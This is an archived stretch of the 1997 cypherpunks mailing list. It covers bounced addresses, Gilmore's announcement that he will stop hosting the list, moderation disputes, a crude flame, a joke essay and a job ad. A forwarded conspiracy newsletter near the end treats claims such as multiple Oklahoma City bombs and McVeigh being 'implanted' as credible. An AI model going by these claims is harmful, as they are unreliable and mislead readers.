drjarmon@ingr.com (cp-ann)
ycz@alpha4.cs.nthu.edu.tw
yu123110@yorku.ca
bishop.trish@sympatico.ca
106076.1155@compuserve.com (by request)
security@harter.pg.md.us
omega@bigeasy.com
roach_s@alph.swosu.edu (cp-unedited)
lupus@hempseed.com (cp-ann)
THRPWC@smtpgate.lfwc.lockheed.com
al.tan@usa.net
vickeryk@tyrell.net
crash@eramp.net
phreaker@scholars.bellevue.edu
alexc@firefly.net
malaficia@mindspring.com
BadAppleDH@aol.com
otsge_mail@usa.net (for bounces re mecca_inc@msn.se)
under@ground.net


>From MAILER-DAEMON Sun Feb  9 20:03:36 1997
Received: from alph.swosu.edu (alph.swosu.edu [164.58.32.9]) by toad.com (8.7.5/8.7.3) with SMTP id UAA17045; Sun, 9 Feb 1997 20:03:33 -0800 (PST)
Message-Id: <199702100403.UAA17045@toad.com>
Date:     Sun, 9 Feb 1997 22:03:48 -0600 (CST)
From: Postmaster@alph.swosu.edu
Subject:  Undeliverable Mail
To: <cypherpunks-errors@toad.com>

Bad address -- <roach_s>
Error -- Message too old: 
    %MAIL-E-SENDERR, error sending to user ROACH_S
    -MAIL-W-WRITEERR, error writing DKA0:[STDUSERS.ROACH_S]MAIL.MAI
    -RMS-E-EXT, ACP file extend failed
    -SYSTEM-F-EXDISKQUOTA, disk quota exceeded
    -PLI-F-NOMSG, Message number 001EBB8C

Start of returned message

  Received: from toad.com by alph.swosu.edu with SMTP;
            Sun, 9 Feb 1997 18:03:43 -0600 (CST)
  Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id PAA11855; Sun, 9 Feb 1997 15:55:29 -0800 (PST)
  Received: from mail.pacifier.com (root@mail.pacifier.com [199.2.117.164]) by toad.com (8.7.5/8.7.3) with ESMTP id PAA11850; Sun, 9 Feb 1997 15:55:26 -0800 (PST)
  Received: from ip250.van8.pacifier.com (ip250.van8.pacifier.com [206.163.4.250])
            by mail.pacifier.com (8.8.5/8.8.4) with SMTP
  	  id PAA12294 for <cypherpunks@toad.com>; Sun, 9 Feb 1997 15:55:23 -0800 (PST)
  Message-Id: <199702092355.PAA12294@mail.pacifier.com>
  X-Sender: jimbell@mail.pacifier.com
  X-Mailer: Windows Eudora Light Version 1.5.2
  Mime-Version: 1.0
  Content-Type: text/plain; charset="us-ascii"
  Date: Sun, 09 Feb 1997 15:53:43 -0800
  To: cypherpunks@toad.com
  From: jim bell <jimbell@pacifier.com>
  Subject: ComLaw> URGENT!!  SET UP IN PROGRESS!! (fwd)
  Sender: owner-cypherpunks@toad.com
  Precedence: bulk
  
  I'm forwarding this from the commonlaw list because of the usage of the 
  name, "cypherpunks."
  ...  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 11 Feb 1997 06:43:12 -0800 (PST)
To: 2ndSun@bigfoot.com
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111443.GAA20370@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




> You're giong to have to find a way to get me off of your piss-ant mailing
> list.

Ecouter et repeter: "going"
                              
Now, if you didn`t have shit for brains you would have followed the 
instructions I sent you last time on how to unsubscribe from the 
cypherpunks mailing list. However, as you evidently have no wit or 
intelligence whatsoever, nor do you seem able to comprehend 
anything phrased in standard English here are the instructions in 
moron.


To unsubscribe from the piss-ant motherfuckers mailing list you are 
giong to have to dooo teh folwoing:

Send a piss-ant message to majordomo@toad.com with the *MESSAGE BODY* reading
exactly as follows:

unsubscribe cypherpunks 2ndsun@bigfoot.com

Either this or contact postmaster@bigfoot.com and ask him to mailkill 
all mailing list traffic for you.





  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 11 Feb 1997 06:43:15 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: this has gone on long enough
Message-ID: <199702111443.GAA20380@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:42 PM 2/10/97 -0800, John Gilmore wrote:
>Sean Roach said:
>> As of sometime in the last 96 hours I have been forcefully unsubscribed from
>> this list.  This action was not of my free will and not one that I think was
>> perpretrated by those in charge of the list.
>
>Everybody relax, take a deep breath, and calm down a bit.  Paranoia seems
>epidemic on the list these days.
>
>I removed your address from the mailing list because it was producing
>a bounce message for every message to cypherpunks.  I regularly 
>remove addresses when this occurs; the alternative is to receive
>thousands of bounce messages each day from non-working addresses.
>I'll append the set of addresses that I removed on the same day
>as you, for your edification.
>
Thank you for the explanation.  I had discounted this as a reason as I
normally get some warning from the VAX before something like this would be a
threat.  (My mail won't compress and I have to go in and do it manually.)  I
had assumed that since I had no trouble with compression that that wasn't
the answer.  I apologise for jumping to conclusions and I hope that I can
check my mail more often.  (Only a real hassle during weekends when I am
called home from school.)
Thanks again for the reassurance.

BTW, now that the moderation experiment is over, how do you intend to
integrate the lists?  Are you going to combine them?  Are you going to run
them through a filter to eliminate duplications?  Are you going to give any
warning before the unedited list is eliminated?  (no longer needed, since
the main list is now a duplicate.)

Thanks again, I am naturally suspicious.  That's "one" of the reasons that I
subscribed to this list to begin with.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 11 Feb 1997 06:41:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: ping
Message-ID: <199702111441.GAA20260@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ping


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Tue, 11 Feb 1997 06:41:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: BCQ B/\ACTb COBKAM!!!
Message-ID: <199702111441.GAA20217@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


COBKU rule!!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carol Anne Cypherpunk <carolann@censored.org>
Date: Tue, 11 Feb 1997 06:44:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cryptography WWW Siteguide wanted.
Message-ID: <199702111444.GAA20478@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The Mining Co. (http://www.miningco.com) is looking
for "siteguides".

There will surely be a guide needed for cryptography.

Pay is commensurate with hit volume, but it isn't too shabby,
at about 3K per month after about a year.

There is the original posting from Sideman's Online Insider following
this post to acquaint you with the particulars.

Good Luck to whomever from this list (for I'm sure someone will) 
takes the aformentioned position. I would, but I'm applying for a 
different site in the Culture/Beliefs section.

On one other note, the PGP Plugin for Eudora is MARVELOUS!
THIS I can even teach a clueless newbie!

Carol Anne Cypherpunk
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Uncensored from heavily.censored.org

iQCVAwUBMwAfd4rpjEWs1wBlAQG3YwP/XXgJfqD06KTLfdDfj2mAweBrFAASsRR8
q37l43InJU/AVhRJ0MKkcmxto7sfO1jHNW6O0+0HjrnMRZAmnw7YH806+mCCerUG
CeTT5U97Cp/V5Yud6r6f0vqP/BPk8etGIZnGgWKajJ49rFTGlk01AgQz1xE49mmI
i962UdPbyVs=
=69D8
-----END PGP SIGNATURE-----

==========================================================================
                Seidman's Online Insider - Vol. 4, Issue 6
     Brought to you by NetGuide Magazine< http://www.netguide.com >
==========================================================================

Copyright (C) 1997 Robert Seidman and CMP Media Inc.  All rights reserved.
May be reproduced in any medium for noncommercial purposes as long as
attribution is given.


Kurnit is Back and Mining the Internet
======================================

  "Like Arnold, he'll be back. I've been listening to what
he has to say for a long time. If you listen to him, you'll
hear how the Web is the way and that the proprietary services
are a dead model. If you listen between-the-lines, you'll hear
a modified version of that vision. A best of both worlds
vision. You'll hear that he wants to develop easy to use,
functional services on the Web. Like easy to use chat.
Like easy to use bulletin boards.

Like AOL, but on the Web."

-Thoughts on Scott Kurnit in a piece regarding the failed MCI/News Corp
joint venture from Seidman's Online Insider for the Week Ending February
9, 1996.

Kurnit's back, and almost exactly a year to the day since the clip above
was written.  On Monday February 10, the new company Kurnit founded, The
Mining Company, will announce their plans to basically build AOL on the
Web.  I'm not sure about the choice of February 10 as the day to announce
this.  It is a day with special significance for me.

On February 10, 1972 I had a dilemma.  I was hungry for breakfast and
wanted some cereal.  I had cereal, but no milk.  So I called my mom at
work and asked her if I could run across the street to the convenience
store.  My mom said no because "the street" was more like a highway and
because I was 9 years old.

"You'll get hit by a car," my mom said.  As you might imagine, I went
anyway.  And as you also might have guessed by now my mother was right,
except no car was good enough for me.  I had to face off with a
ten-wheeler (it was an Amoco < http://www.amoco.com > Oil tanker.)
Twenty-two stitches in the head, a healed broken wrist and 25 years later,
I'm still hanging in there.  I don't remember anything about it, including
seeing the truck.  I've always wondered if I was pushed.  What I do
remember was waking up in the ambulance with quite a headache.  But since
then, seeing how I lived and all, I've always viewed February 10 as a GOOD
day.

The Mining Company may not be a truck setting its sights on running down
AOL or even other Web content aggregators (even to some degree NetGuide
Live), but it is an interesting model.

*What It Is*

In effect, The Mining Company wants to be the biggest online service on
the Web, ultimately offering 4,000 special-interest areas in an
integrated, easy-to-use interface.  Whether you call these special areas
channels, departments or categories -- it's all the same thing.  Kurnit
wants to capitalize on the fact that it takes too long to find what you
want on the Net.  He wants to put it all in one place with one consistent
interface so that you can easily find what you're looking for and interact
with those who have common interests.

Each "channel" will have content, bulletin boards, online chats, links to
other good stuff on the Web in the particular area of interest.  You'll
also be able to search a site via Verity's search engine or search the
entire Net via Digital's Alta Vista.

While they are currently testing another chat product, they have decided
to move to the iChat chat client.

In the test system I had access to, the bulletin board system was very
easy to use, but painfully slow.  I'll cut them some slack since they are
still in beta, but users will need to be able to move around the boards
quicker than what I experienced or they will likely be put off.

*And Now for Something Really Different*

When Kurnit first ran the vision by me a couple of weeks ago, I said "To
me it seems like this is..."

"AOL on the Web," Kurnit interrupted.

"Not exactly," I said, "It's like AOL on the Web with a hint of Amway
thrown in."

One of the problems with providing editorial context for the Net is that
it winds up costing a lot of money.  Kurnit's previous venture with
MCI/Newscorp was iGuide.  They built a great guide to the Net, but
ultimately they scaled it back to just become a guide to entertainment on
the Net.  You've read the reports all over the place about scaled back
editorial efforts and rightsizing.  Good editorial doesn't come cheap, at
least not when done traditionally.

The Mining Company isn't going after the traditional model of hiring a
bunch of full-time editors and bringing them in house.  They plan to use
folks already out there on the Net.

Once upon a time while I was at IBM, I helped recruit Chris Locke, of
MecklerWeb notoriety away from the MCI/News Corp effort Kurnit was
running.

While there are many things Chris and I do not agree on, I was very much
in synch with Chris when it came to the idea of communities of interest on
the Web.  Give remote people the tools to produce the content, Locke would
say, and you'd be able to easily build hundreds if not thousands of
communities of interest very inexpensively.  Locke who is now with a
hardware company in Colorado will no doubt take interest in what Kurnit
and the gang at The Mining Company are up to, because they are all about
providing the tools to produce the communities of interest inexpensively!
If your chosen as one of its forum moderators (they call them Guides),
you'll be given access to all the tools you need to build a site on the
service.

Now you may be thinking, "Ah, GeoCities does that already!"  GeoCities
< http://www.geocities.com > gives free web pages and is organized around
certain communities of interest.  But their homesteader program is not
about setting up an all-encompassing online service.  And while it is a
great place to create a free web page, there's no real business model for
the person creating the page.  If you build a great site there, GeoCities
gets the revenue on all the traffic that goes there.  Because it has a lot
of traffic, GeoCities can send some traffic to your Web site.  But in the
end, the model for GeoCities is one to give you a free page on the Web.
This is good for you if you're just in it for the fun of it, and good for
GeoCities too.   I think GeoCities is great, but if I am looking for
something in particular, I wouldn't think to look there first.  The Mining
Company wants to create a space that no matter what it is you hope to
find, you'll look there first.

*They Call them Guides*

The Mining Company wants to create quality communities of interest.  And
for every community (channel) created, there will be a unique
moderator/editor.  The Mining Company calls them Guides.  It's looking for
more than just a few quality folks to become Guides and form their
service.  Starting Monday, they will begin accepting applications to
become Guides on the  service. There could be multiple sites about the
same thing during the start-up phase, but  ultimately it will be whittled
down to one Guide/site per special interest.

To ensure quality, they'll be a review committee set-up to make sure
quality standards are up to snuff, including some folks from the community
of Guides.  Kurnit believes between that, the natural inclination for
other Guides to point out areas of, um, weakness and user feedback,
they'll have a good handle on quality.

Additionally, there will be some in-house editorial to oversee major
groupings (like Technology, Personal Finance, etc.)

"The Mining Company is dedicated to serving the needs of its Guides and
users," said Kurnit.  "We give the tools and support to the Guides to help
users find what they want, trust what they find, and connect them with the
most valuable sites on the Net and with other interesting people."

"This model is now only possible because of the team effort at The Mining
Company to integrate the latest improvements in Internet technology and
the newly identified needs of users and independent Web producers," adds
Kurnit.


*Getting the Guides*

Will it be easy to get the ultimately thousands of Guides necessary to run
this service?

"How much talent is out there," asks Kurnit.   "We look at the thousands
of pages out there on AOL, GeoCities, etc., and the rest of the Internet,"
Kurnit said.  "All we think we need to get is 2%-3% of the talent pool."

In certain areas it will likely be very competitive.  Everyone will want
to get there first.

"First there's the application process," said Scott Kurnit in a phone
Interview.  "You're going to show us your bio and you're going to write
some columns so we can see your writing style.  If you make the grade, you
make it to our orientation process," Kurnit said.

The Mining Company places its focus on training the Guides and giving them
the tools they need to make a site.   If you "make the grade" you
basically have 3 weeks (2 of which are the "orientation") to get a site
up-and-running on the service.

"The fact is, if you can't get it done in a reasonable time then you
probably don't have the dedication or time to get it done," says Kurnit.

Just how much time will it take for Guides to put together sites?  "We're
not looking for anyone to quite their day jobs," said Kurnit.  "We're
looking at about a 10 hour a week commitment to produce the sites."  But
Kurnit also says  that though there will be only one Guide per site, the
Guides will be able to line up assistants.



*What's in it for You?*

So why The Mining Company then?   Why not GeoCities or doing it on your
own?  Well, there are a couple of reasons.  One is the promise of
exposure, the other is the promise of MONEY.

There is a model here, especially if you're not looking to quit your day
job.  While I imagine it will have to shift its model somewhat, there are
some opportunities to make a buck or two for the Guides.  It might not be
much money, but if you're already throwing 10 hours or so a week towards
maintaining a Web page that lines up around a special interest or two, any
money is better than what you're probably getting now.

Basically, The Mining Company is looking to allocate 40% of all
advertising revenues back to the Guides themselves.  The real pool here is
30%, with the additional 10% being used for things like bonuses.  So, how
does it work?

Kurnit is looking to get quickly to a million or so page views a day (each
of the pages I saw had 2 advertisements.  By the end of the year, Kurnit
hopes to be in the 10 million - 15 million page views.  It sounds a little
ambitious, but if they're successful lining up quality Guides, it could
become a reality.  So let's say they're getting 5 million page views per
day.  Based on what I saw, that would net out to be about 300 million ads
running per month.

Lets say ad sales average out to $30/1000 (a $30 CPM).  Based on that,
you're looking at a cool $9 million a month in advertising revenue.  So
$3.6 million is in the Guide pool, but only $2.7 million is for the true
revenue split.  Now, let's say you're a Guide who got one-tenth of 1
percent of The Mining Company's overall traffic. You'd make a cool $2,700
a month for your efforts.  If you happen to be a guide in one of the
"killer categories" whether it be a parents site or a kids site or a
computing site, it's not unreasonable to think that you might get as much
as 1%.  That would be $27,000 per month!!

Some people will balk at the 40%-60% share, but I think that's pretty
fair.  Where I'd predict the model will have to change, however, is in the
cases where the cost per thousand (CPM) view being charged the advertisers
is much higher than the average of the overall site.  If the overall site
average is $30/1000, but your site is generating a CPM of around $90,
you're probably not going to want to be paid based on averages.

*Will it Work?*

In short, I think this could work quite nicely.  The premise of a front
door that links to content that is all packaged with a consistent look and
feel is a winning premise.   With AOL's recent move to flat-fee, one big
advantage a Net service has over a proprietary model like AOL is the
ability to create content far more easily and inexpensively. Much coverage
has been given this week regarding AOL beginning to charge its partners in
its Company Connection a $55,000 fee each year to participate.

Some in AOL are saying its reasonable since the areas amount to "free"
advertising for the companies, but realistically speaking, I think it is a
maintenance fee AOL is charging to offset the cost of dealing with these
forums.  I think it is reasonable to expect to see AOL begin to charge
similar fees for any content that isn't "must have" for them, now that the
hourly charges that once subsidized these areas are gone.  There is a cost
of throwing in-house support at these online areas and much of the cost is
due to the fact that it's a proprietary system.  Setting up new "forms"
and new looks just isn't easily accomplished by the content providers
themselves.  So, the timing may be good for The Mining Company.

There are at least two tricks Kurnit and Co. must pull off.  First, they
have to get the Guides.  That starts on Monday, when they begin accepting
applications.  The next will be to market the site in a way that gets
people to the front door.   Internet of the people, for the people and by
the people, it has a nice ring to it...  I'm sure we'll hear more about
this when the site officially launches in April.

For more info, check out < http://www.miningco.com >, sometime on Monday,
they will make a lot more information available there than the "coming
soon" that was there as of this writing.
Member Internet Society  - Certified BETSI Programmer  -  Webmistress
***********************************************************************
Carol Anne Braddock (cab8)  carolann@censored.org   206.42.112.96
My Homepage
The Cyberdoc
***********************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 11 Feb 1997 06:42:28 -0800 (PST)
To: "David E. Smith" <dsmith@prairienet.org>
Subject: Re: Metzger, Denninger square off
Message-ID: <199702111442.GAA20326@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> At 01:24 PM 2/7/97 -0500, you wrote:
> [the proposed new TLDs]
> .web    Actually a good idea :) A lot of the .com congestion is
>         from companies that are virtually-hosted for the sole
>         purpose of running a Web site with the www. prefix.

     This one might not work. There are a lot of people who seem to think that
you need a www.---.--- to get netscape to work.

> .nom    Nah. Just not classy enough.  Now, a .nym TLD... :-)

     I think they should use .vain. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 11 Feb 1997 05:40:52 -0800 (PST)
To: gnu@toad.com
Subject: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111340.FAA18604@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy hit a pothole in the moderation experiment when Mr. Nemesis
submitted a posting containing nothing but libelous statements about
Sandy's employer.  He never anticipated that he wouldn't be able to
follow his announced "post it to one list or the other" policy because
to do so would make him legally liable (in his opinion; he's a lawyer,
I'm not).  His gears jammed, and the whole machine came to a halt for
a few days.

Sandy has agreed to continue moderation through the end of the
original 1-month experiment (through Feb 19).  And it's a good thing,
too, because the "cypherpunks community" had better get off its
whining butt in the next ten days, or it will no longer exist.

I've come to the conclusion that I'm not willing to host the
cypherpunks list any more.  It's not the true assholes that brought me
to this decision; it's the reaction from the bulk of people on the
list: suspicion, flamage, and criticism with every attempt to improve
things.  I noticed few people volunteering some of their own time,
money, or machines to help out.  Almost all the suggestions were
advice for *other* people to implement:

                One would have thought that had Sandy and John really
    been interested in hearing the views of list members, this approach would
    have eventually won out.

    a supposedly libertarian and anarchistic group of people has decided
    that censorship is the right solution to their problems.

							I'd prefer
    for the cypherpunks _name_ not be associated with a moderated/censored
    list. (I mean no insult to either Sandy or John in this, BTW... I
    simply think that they've gone about this the wrong way.

    If one is going to advocate free speech, I strongly suggest one
    learns to deal with one's own greed and one's own need for power
    first.

    For those who want it, let someone moderate the list for as long as
    they care to do it. Approved messages get a "X-sandy-approved"
    header.

    ... the vast majority are still shipped out as 'Sender:
    owner-cypherpunks@toad.com' (and the 'Received' chain as I pointed
    out in my original post). to me that is piss poor list management.

        however you slice it, censorship on a freedom of speech list
    just does not make it and we make fools of ourselves if we think
    otherwise.

Now each of these posters will get their chance to do it "right" --
on their own time and with their own resources.

A large fraction of the list seems to think that "freedom of speech"
means that everyone is required to listen to everyone else at all
times.  That there can't be focused, topical conversations in a
society that has freedom of speech.  I would say the opposite; part of
freedom of speech is the freedom to choose to whom we speak and to
whom we listen.  This is part of what cryptography does: lets us
control who can receive our speech, and lets recievers determine who
the speaker is.

There also seems to be a misunderstanding that freedom of speech
requires that people who want to speak already have a place, set up
and maintained by someone else, for them to speak in.  If someone
who's set up a speech-place decides it isn't being used for its
intended purpose, then they are a censor, stopping all possibility of
conversations.  Did you forget that there are millions of other places
to speak in cyberspace, millions more in realspace, and that you can
personally create more if you don't like any of the ones you know about?
To paraphrase Zappa, you wouldn't know censorship if it bit you on the
ass.  You think you're being censored when you're just being excluded
from a forum because what you're saying isn't interesting to that forum.

So anyway, I'm tired of it all.  I'd much rather focus on getting my
crypto work done than babysitting majordomo, tracking down attempts to
subscribe the entire US Congress to the list, and debating the seventy
or eighty "obvious right ways" to handle the list.

This is a "put up or shut up" to the cypherpunks community.

Either you list denizens will, among yourselves, put in the energy to
build a new home for the list (and run it in whatever way your
volunteers want) by Feb 20, or the list will cease to exist on Feb 20.

The next ten days of moderated discussion, through the end of the
original experiment, will give the community a chance to discuss
whether and where it plans to host the list after the experiment is
over.  My feeling is that the stalkers who have been trying to shut it
down (Dimitri, etc) will be out in full force, trying to disrupt the
process of finding a new home.  It would be very hard to make progress
along that line in an unmoderated list.  Cypherpunks-unedited readers
are welcome to try.

Sandy reports that he's changing his criteria for moderation for the
remainder of the experiment.  It was his idea, and I approve.  The
criteria now are:

	*  The topics of the list are:
		cryptography
		setting up replacements for cypherpunks@toad.com
	*  On-topic, legal, posts will go to the list.
	*  Postings with any hint of legal liability (in Sandy's opinion)
	   will be silently ignored.
	*  Legal but off-topic posts will go to cypherpunks-flames.

Sandy will apply these criteria retroactively to the backlog (of about
140 messages), which means that most recent criticisms of the
moderation (which don't invove someone volunteering to do things for
the list) will go straight to the flames list.  If you don't like it,
I recommend that you start your own list.  Soon.

For me it's a sad thing that the community's willingness to pull
together has degenerated to the point where I feel better off
separating from the list.  I hope that others in the community will
create one or several alternatives that work better.

	John Gilmore





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "HEROES::FITZGERALD    7-FEB-1997 14":HEROES::FITZGERALD.7-FEB-1997.14:18:16.47
Date: Tue, 11 Feb 1997 06:43:42 -0800 (PST)
To: SCHMELZ
Subject: No Subject
Message-ID: <199702111443.GAA20442@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


           From: "Curt Denny" <adr016@clc.cc.il.us>

The heaviest element known to science was recently discovered by GM
Research physicists.  The element, tentatively named Administratium, has
no protons or electrons and thus has an atomic number of zero.  However,
it does have one neutron, 125 assistant neutrons, 75 vice neutrons, and
111 assistant vice neutrons.  This gives it an atomic number of 312. 
These particles are held together by a force that involves the
continuous exchange of meson-like particles known as morons.

Since it has no electrons, Administratium is inert.  However, it can be
detected chemically because it impedes every reaction it comes in
contact with.  According to the discoverers, a minute amount of
Administratium caused one reaction to take four days to complete when it
would have normally occurred in less than one second.  Administratium
has a normal half-life of approximately three years, at which time it
does not actually decay, but instead undergoes a reorganization in which
assistant neutrons exchange places.  Some studies have shown that the
atomic mass actually increases after each organization.

Research at other laboratories indicates that Administratium occurs
naturally in the atmosphere.  It tends to concentrate at certain points
such as government agencies, large corporations and universities, and
can usually be found in the newest, best appointed and best maintained
buildings.

Scientists point out that Administratium is known to be toxic at any
detectable level of concentratitroy any productive
reaction where it is allowed to accumulate.  Attempts are being made to
determine how Administratium can be controlled to prevent irreversible
damage, but results to date are not promising. 

                               Check us out at:
                           http://www.clc.cc.il.us


     "There is no limit to the amount of good that people can accomplish if they don't care who gets the credit!"

Curtis L. Denny
College of Lake County
Director of Admission and Records
19351 West Washington Street
Grayslake, IL 60030-1198
Phone:  (847) 223-6601, Ext. 2384
Fax:    (847) 223-1017
E-Mail:  CurtDenny@clc.cc.il.us





---2143972336-1320482045-855671591=:18392--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 08:58:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111658.IAA22392@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> You have probably just read John's post.  I truly hope YOU (each
> and every one of you) can rise to his challenge.  If you have
> offered nothing in the past but criticism, it's now time to get a
> bit more real.  What will it be, your money, time, equipment?

What challenge?  An offer to break code for money?  Not likely,
is it?

> I would hope that the loudest advocates of "free speech" turn out
> to be the most generous, but I'm not holding my breath.  Maybe
> the solution(s) will come from you lurkers.  I hope you can put
> down your beer long enough to get involved.

Generous with what?  Get involved with crypto?  That's why they're
here in the first place, yes?

> Finally, if anyone wants to discuss why the Cypherpunk list has
> come to this, or what I did right or wrong as a moderator, let's
> talk about--on the new list(s) YOU create.  For now, though, it's
> off-topic.  We have work to do.

I think they already talked about it, and the decision is in.  What
does "off-topic" mean? Does it mean further criticism will be censored?

> P.S. To all those people who privately supported me in my attempt
>      to help the list deal with its problems, thank you.

Help the list?  You almost destroyed the list.  If you wanted to
help, you should have provided lessons on filtering.

> I wouldn't have come back without your and John's encouragement.

A lot of people wish you hadn't come back.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 08:56:36 -0800 (PST)
To: Brad Dolan <bdolan@USIT.NET>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111656.IAA22315@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Brad Dolan wrote:
> How do you encourage people to use resources more-or-less wisely?
> 1.  The socialist/nanny model - take charge and give 'em orders
> We've tried that and it apparently didn't work out.
> 2.  The market model - charge people for what they use
> A while back, omebody suggested a system which would be self-funding, by
> charging people for each post they made.  Maybe we should try it?  If
> each little piece of ASCII art cost a poster a buck or two to send, he
> might send fewer.  On the other hand, we don't want to discourage
> interesting posters, so I think some system to reimburse interesting
> posters would be useful.
> I'm not the guy to set up the system, but I'll happily buy a modest amount
> of "posting tickets."

When you're a spy, you usually pay for info.  In John's case, he's
been getting the info for free.  Now you're suggestion he charge
people for providing him the info.  This is not the direction John
wants to go.  He just wants cleaner info, that's all.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Tue, 11 Feb 1997 06:58:30 -0800 (PST)
Subject: The Konformist: Viewer Mail
Message-ID: <199702111458.GAA20706@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Note: Either you requested to receive a subscription to 
this e-mail, or someone else recommended you to be placed on 
this list.  If you are interested in a free subscription, 
please e-mail Robalini@aol.com with the subject: I NEED TO 
KONFORM.  (Okay, you can use something else, but it's a 
cool catch phrase.)  Please e-mail me back with subject: 
CANCEL KONFORMIST if you're not interested in receiving 
this.  Thanks, Robert Sterling.

The following comments are from Alex Constantine.

Subj: Jon Rappaport's Frauds

Date: 97-01-27 14:29:28 EST

From: alex@mach1.directnet.com (Alex Constantine)



        I want you to know I have no faith whatsoever in Rappaport. His

"book" on the CIA and mind control is actually a file of transcripts

compiled by Valerie Wolf, a New Orleans therapist. Rappaport wrote a

five-page introduction, and he has since claimed ad nauseum that he is the

"author" of the book. He is not. He did not even edit it. The material was

used to advance his own career, and published as is. Yet he still claims he

is the book's "author," and never corrects the many introductions in which

he is credited with having "written" the thing. This is a fraud. His book

on the OK bombing has its own problems, among them a reliance on General

Partin of the Birch Society, discussed in my story on Calspan & McVeigh,

and other dubious sources. This is not to say the book is totally false,

but much of it does not check out. Rappaport also fawns over Bo Gritz. Need

I say more?

Robalini's Note: My sole experiences with Jon Rappaport is interviewing him
on the phone and through my work with Jack Herer and the Hemp Legalization
movement.  Thief or not, Rappaport has a good collection of interesting info
he's written about.  As for General Partin and Bo Gritz, I take their
information for what it is worth, and often it is worth a lot.

Also from big Al:


>>1)  Alex Constantine, in his piece, has, to a degree, implied that McVeigh

is

>>guilty as charged but was brainwashed.

>

>        I said specifically he was "monitored." I don't know if he was

>brainwashed, and neither do you, but there is some evidence to support his

>claim that he was implanted. Other killers in the article were NOT

>brainwashed, and I did NOT "imply" that they were. Sweeny, the killer of

>Allard Lowenstein, was ANGRY, not "brainwashed." The freeway killer in San

>Francisco was NOT brainwashed, but ANGRY. The only brainwashed figure in

>the story was Dan White. McVeigh was ANGRY, not BRAINWASHED.

>

>> Personally, I have some very serious

>>doubts of his guilt, to say the least. I suspect McVeigh, though involved

>>with the people who did the bombing, had no fucking clue what was going
on.

>> In fact, if you check out some other sites (including Tony Sgarlatti's
web

>>page at http://www.future.net/~thetruth/okc.html and the always stupendous

>>Ian Goddard's http://www.erols.com/igoddard/facts.htm) you will soon

discover

>>that the evidence really leans to there being two bombs, and that neither

of

>>them actually came from the truck itself.

>

>        I've talked to Scarlatti. He posted  bogus information, and an

>equally dubious explanation for the bogus information. I know there are

>others involved, and possibly more than one bomb. Your view on the case

>agrees with the militias, who I found to be lying on numerous occasions.

>What I posted was an extract from a much longer story that answers many of

>your questions, and clarifies some of the hazy areas and your

>speculations. McVeigh is no innocent, but your analysis agrees with

>Rappaport, whose book is totally made up of militia postings on the

>Internet.

Robalini's Note: Scarlatti's site, whatever the flaws are to it, is a
mindblower, and should be read for that reason alone.  I may add he's been
very encouraging to The Konformist, and I'm certainly going to burn my
bridges with him.  Still, if you, or anyone else, has any specific criticisms
of his (or other) sites, please let me know and I will forward it.  As for
the militas, well, I've never been into running around in the forest with
guns (though it sounds kind of fun), and I suspect much of that crowd would
hate my guts, but I believe they speak a lot of truth, and that their opinion
needs to be heard.  On the OK Bombing, in particular, they have been
admirable in bringing forth evidence that the corporate media has pretended
doesn't exist.  In fact, if I fault militas members for anything, it is that
they don't go far enough in their condemnation of society, and I think it is
odd that a group which is very much anti-government could fawn over the
military (the most powerful arm of the government) so pathetically.  And,
lets face it, racism and homophobia is quite rampant in the milta crowd (as
it is in the rest of society), so I think there is quite a bit of fraudulence
in many members claims of wanting "less government" and being for "freedom".
 But, hey, if I was going to cut off people who's opinion I disagreed with,
I'd be living in a cave.


Subj:  Re: The Konformist - The Kempler Film
